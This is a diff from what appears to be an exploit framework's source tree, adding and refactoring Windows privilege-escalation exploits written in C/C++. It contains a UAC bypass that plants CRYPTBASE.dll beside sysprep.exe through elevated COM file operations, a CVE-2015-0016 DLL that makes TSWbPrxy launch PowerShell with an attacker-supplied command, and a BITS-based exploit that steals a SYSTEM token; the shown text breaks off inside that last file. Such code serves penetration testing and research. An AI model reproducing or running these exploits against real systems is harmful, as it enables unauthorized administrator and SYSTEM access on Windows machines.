@ -132,7 +132,7 @@
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
<ClCompile Include="src\ReflectiveDll.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
<ClInclude Include="src\Exploit.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp vendored Normal file → Executable file
View File

@ -1,119 +1,158 @@
#include "ReflectiveLoader.h"
#include "Exploit.h"
void exploit()
{
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
extern "C" {
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
void exploit(BypassUacPaths const * const paths)
{
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
PVOID OldValue = NULL;
GetWindowsDirectoryW(windir, MAX_PATH);
GetTempPathW(MAX_PATH, path);
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
/* %temp%\cryptbase.dll */
wcscat_s(path, MAX_PATH, szSourceDll);
/* %windir%\System32\sysprep\ */
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
BOOL bComInitialised = FALSE;
/* %windir%\sysnative\sysprep\ */
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
/* %windir\system32\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
/* %windir\sysnative\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (CoInitialize(NULL) == S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
do
{
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
if (CoInitialize(NULL) != S_OK)
{
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
{
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}
}
dprintf("[BYPASSUACINJ] Failed to initialize COM");
break;
}
bComInitialised = TRUE;
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
break;
}
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
break;
}
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
break;
}
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
break;
}
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
break;
}
/* Copy the DLL file to the target folder*/
if (pFileOp->PerformOperations() != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
break;
}
/* Execute the target binary */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = paths->szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = paths->szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted dll");
// bail out this point because we don't need to keep trying to delete
break;
}
SAFERELEASE(pSHIDelete);
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
}
else
{
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
}
} while (0);
SAFERELEASE(pSHIDelete);
SAFERELEASE(pSHIDestination);
SAFERELEASE(pSHISource);
SAFERELEASE(pFileOp);
if (bComInitialised)
{
CoUninitialize();
}
}
}
}

30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h vendored Normal file → Executable file
View File

@ -5,4 +5,32 @@
#include <stdio.h>
#include <guiddef.h>
EXTERN_C void exploit();
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
#else
#define dprintf(...)
#endif
typedef struct _BypassUacPaths
{
wchar_t szElevDir[MAX_PATH];
wchar_t szElevDirSysWow64[MAX_PATH];
wchar_t szElevDll[MAX_PATH];
wchar_t szElevDllFull[MAX_PATH];
wchar_t szElevExeFull[MAX_PATH];
wchar_t szDllTempPath[MAX_PATH];
} BypassUacPaths;
EXTERN_C void exploit(BypassUacPaths const * const paths);

43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c vendored Normal file → Executable file
View File

@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit();
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if (NULL != lpReserved)
{
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
exploit((BypassUacPaths*)lpReserved);
}
ExitProcess(0);
break;
default:
break;
}
return TRUE;
}

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview
========================================================================
AppWizard has created this cve-2015-0016 DLL for you.
This file contains a summary of what you will find in each of the files that
make up your cve-2015-0016 application.
cve-2015-0016.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
cve-2015-0016.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
cve-2015-0016.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named cve-2015-0016.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////

View File

@ -0,0 +1,46 @@
// MyExploit.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
#include <objbase.h>
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
#define MAX_ENV 32767
bstr_t GetEnv(LPCSTR env)
{
CHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
void DoTSWbPrxyExploit() {
HRESULT hr;
IMSTSWebProxy *pUnk;
CHAR cmdline[] = "TSWbPrxy.exe";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
if (hr == 0)
return;
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
if (hr != 0)
return;
pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD"));
pUnk->Release();
}
DWORD CALLBACK ExploitThread(LPVOID hModule)
{
CoInitialize(nullptr);
DoTSWbPrxyExploit();
CoUninitialize();
FreeLibraryAndExitThread((HMODULE)hModule, 0);
}

View File

@ -0,0 +1,105 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>cve20150016</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2015-0016.cpp" />
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,39 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="cve-2015-0016.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,24 @@
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
DWORD CALLBACK ExploitThread(LPVOID hModule);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// cve-2015-0016.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,16 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32
{41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32
{41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,228 @@
#include "stdafx.h"
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <iostream>
#include <exception>
#include <string>
#include <comdef.h>
#include <memory>
#include <new>
#include <sddl.h>
// {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy
IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
class FakeObject : public IUnknown
{
LONG m_lRefCount;
HANDLE* m_ptoken;
void TryImpersonate()
{
if (*m_ptoken == nullptr)
{
HRESULT hr = CoImpersonateClient();
if (SUCCEEDED(hr))
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
{
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
{
LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))
{
*m_ptoken = hToken;
RevertToSelf();
}
else
{
CloseHandle(hToken);
}
printf("Got Token: %p %ls\n", hToken, sid_name);
LocalFree(sid_name);
}
else
{
printf("Error getting token user %d\n", GetLastError());
}
free(user);
}
else
{
printf("Error opening token %d\n", GetLastError());
}
}
}
}
public:
//Constructor, Destructor
FakeObject(HANDLE* ptoken) {
m_lRefCount = 1;
m_ptoken = ptoken;
*m_ptoken = nullptr;
}
~FakeObject() {};
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
{
TryImpersonate();
if (riid == __uuidof(IUnknown))
{
*ppvObj = this;
}
else if (riid == IID_FakeInterface)
{
printf("Check for FakeInterface\n");
*ppvObj = this;
}
else
{
*ppvObj = NULL;
return E_NOINTERFACE;
}
AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
TryImpersonate();
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
TryImpersonate();
// not thread safe
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
};
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
bool DoCaptureToken(HANDLE* ptoken)
{
// If CoInitializeEx fails, the exception is unhandled and the program terminates
IBackgroundCopyJobPtr pJob;
try
{
//The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE.
HRESULT hr = CoInitializeSecurity(NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_CONNECT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_DYNAMIC_CLOAKING,
0);
if (FAILED(hr))
{
throw _com_error(hr);
}
// Connect to BITS.
IBackgroundCopyManagerPtr pQueueMgr;
IMonikerPtr pNotify;
CreatePointerMoniker(new FakeObject(ptoken), &pNotify);
hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr));
if (FAILED(hr))
{
// Failed to connect.
throw _com_error(hr);
}
GUID guidJob;
hr = pQueueMgr->CreateJob(L"BitsAuthSample",
BG_JOB_TYPE_DOWNLOAD,
&guidJob,
&pJob);
if (FAILED(hr))
{
// Failed to connect.
throw _com_error(hr);
}
pJob->SetNotifyInterface(pNotify);
}
catch (const std::bad_alloc &)
{
wprintf(L"Memory allocation failed");
if (pJob)
{
pJob->Cancel();
}
return false;
}
catch (const _com_error &ex)
{
